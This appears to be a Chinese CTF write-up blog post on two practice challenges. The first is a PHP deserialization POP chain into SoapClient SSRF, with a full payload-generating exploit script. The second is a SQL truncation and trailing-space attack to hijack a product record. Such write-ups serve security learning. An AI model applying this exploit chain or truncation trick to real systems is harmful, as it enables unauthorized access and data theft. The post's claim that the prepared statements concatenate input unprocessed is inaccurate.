本文已参与「新人创作礼」活动,一起开启掘金创作之路。
一:Buu刷题
[MRCTF2020]Ezpop_Revenge
涉及知识点
- php代码审计
- soap类ssrf
POP链逻辑:
- 反序列化
HelloWorld_DB
,就触发了__wakeup()
方法,在__wakeup()
内实例化Typecho_Db
并以$this->coincidence['hello']
作为Typecho_Db
的__construct()
方法的第一个参数; - PHP的数组是可以存对象,假设
$this->coincidence['hello']
实例化Typecho_Db_Query
对象,在Typecho_Db的构造方法中将其作为字符串,就触发了Typecho_Db_Query
的__toString()
方法; - 在
__toString()
内,如果$_sqlPreBuild['action']
为SELECT
就会触发$_adapter
的parseSelect()
方法; - 将
$_adapter
实例化为SoapClient
,调用parseSelect()
是不存在的方法,触发了SoapClient
的__call()魔术方法
-__call()
是实现SSRF的关键
POP链清楚了,exp就很好写,本题目有个坑的地方,直接生成的payload不会触发成功,要将字符串改写成十六进制,也就是将表示字符串的s写成大写S,这样private属性后面的%00这个不可见字符就能写成\00(如果是小写s 这个\00表示一个斜线和两个0 是三个字符)构造了好几个小时怎么都不能把flag带出来
public SoapClient::__call ( string $function_name , array $arguments )
Y1ng师傅脚本
<?php
//www.gem-love.com
class Typecho_Db_Query
{
private $_adapter;
private $_sqlPreBuild;
public function __construct()
{
$target = "http://127.0.0.1/flag.php";
$headers = array(
'X-Forwarded-For:127.0.0.1',
"Cookie: PHPSESSID=s8fo8ma30gbttqvgdbb48k6rm4"
);
$this->_adapter = new SoapClient(null, array('uri' => 'aaab', 'location' => $target, 'user_agent' => 'Y1ng^^' . join('^^', $headers)));
$this->_sqlPreBuild = ['action' => "SELECT"];
}
}
class HelloWorld_DB
{
private $coincidence;
public function __construct()
{
$this->coincidence = array("hello" => new Typecho_Db_Query());
}
}
function decorate($str)
{
$arr = explode(':', $str);
$newstr = '';
for ($i = 0; $i < count($arr); $i++) {
if (preg_match('/00/', $arr[$i])) {
$arr[$i - 2] = preg_replace('/s/', "S", $arr[$i - 2]);
}
}
$i = 0;
for (; $i < count($arr) - 1; $i++) {
$newstr .= $arr[$i];
$newstr .= ":";
}
$newstr .= $arr[$i];
echo "www.gem-love.com\n";
return $newstr;
}
$y1ng = serialize(new HelloWorld_DB());
$y1ng = preg_replace(" /^^/", "\r\n", $y1ng);
$urlen = urlencode($y1ng);
$urlen = preg_replace('/%00/', '%5c%30%30', $urlen);
$y1ng = decorate(urldecode($urlen));
echo base64_encode($y1ng);
参考连接
(3条消息) [MRCTF2020]Ezpop_Revenge_沫忆末忆的博客-CSDN博客
[FBCTF2019]Products Manager
涉及知识点
- 基于约束的sql攻击
- 数据库字符串比较
- INSERT截断
打开题目
查看源码
其中footer.php
页面没用,header.php
页面只是首页的三个跳转链接,index.php
页面也没有可利用内容。
在db.php
页面中,查看到如下SQL语句:
CREATE TABLE products (
name char(64),
secret char(64),
description varchar(250)
);
INSERT INTO products VALUES('facebook', sha256(....), 'FLAG_HERE');
INSERT INTO products VALUES('messenger', sha256(....), ....);
INSERT INTO products VALUES('instagram', sha256(....), ....);
INSERT INTO products VALUES('whatsapp', sha256(....), ....);
INSERT INTO products VALUES('oculus-rift', sha256(....), ....);
其中给出了提示,flag在facebook
中,若想查询产品细节,需要产品的Secret
值,一开始猜测本题是一道SQL注入题,但未找到可用的注入点,通过查阅大佬wp,得知是道基于约束的SQL攻击,参考资料
1. 数据库字符串比较
在数据库对字符串进行比较时,若两字符串长度不一样,则会在较短的字符串末尾填充空格,使两个字符串长度一致。
例:str1
和str
的比较,比较时会在str
的后面添加一个空格
以补足长度。
也就是说,对于查询语句:
select * from users where username='test'
select * from users where username='test '
查询结果是一致的。
2. INSERT截断
在数据插入时,若数据长度超过了预先设定的限制,例如:name char(64)
时,数据库会对字符串进行截断,只保留限定的长度。
\
在本题db.php
页面源码中,查看添加产品和查询产品详情函数:
// 添加产品
function insert_product($name, $secret, $description) {
global $db;
$statement = $db->prepare(
"INSERT INTO products (name, secret, description) VALUES
(?, ?, ?)"
);
check_errors($statement);
$statement->bind_param("sss", $name, $secret, $description);
check_errors($statement->execute());
$statement->close();
}
插入语句中"INSERT INTO products (name, secret, description) VALUES ($name, $secret, $description)"
,并未做任何处理,直接插入数据库。
// 查询产品详情
function get_product($name) {
global $db;
$statement = $db->prepare(
"SELECT name, description FROM products WHERE name = ?"
);
check_errors($statement);
$statement->bind_param("s", $name);
check_errors($statement->execute());
$res = $statement->get_result();
check_errors($res);
$product = $res->fetch_assoc();
$statement->close();
return $product;
}
在查询语句中"SELECT name, description FROM products WHERE name = $name"
,只是对获取的$name
变量进行了拼接,未进行任何处理。
结合两点,产生了本题的利用点:
- 添加一个
facebook
用户,即在产品名后加大于长度限制的空格,空格后需再跟若干个字符,在添加数据时,使添加的产品名与目标一致。 - 查询时,返回的用户名是目标信息,达到水平越权
构造添加的产品信息:
Name:facebook 11
Secret:qweASDzxc123
Description:123
添加成功,此时再查询刚刚添加的产品详情:
Name:facebook
Secret:qweASDzxc123
// 因为在存入数据库时,添加的Name属性长度超过限制被截断
最后查询得到flag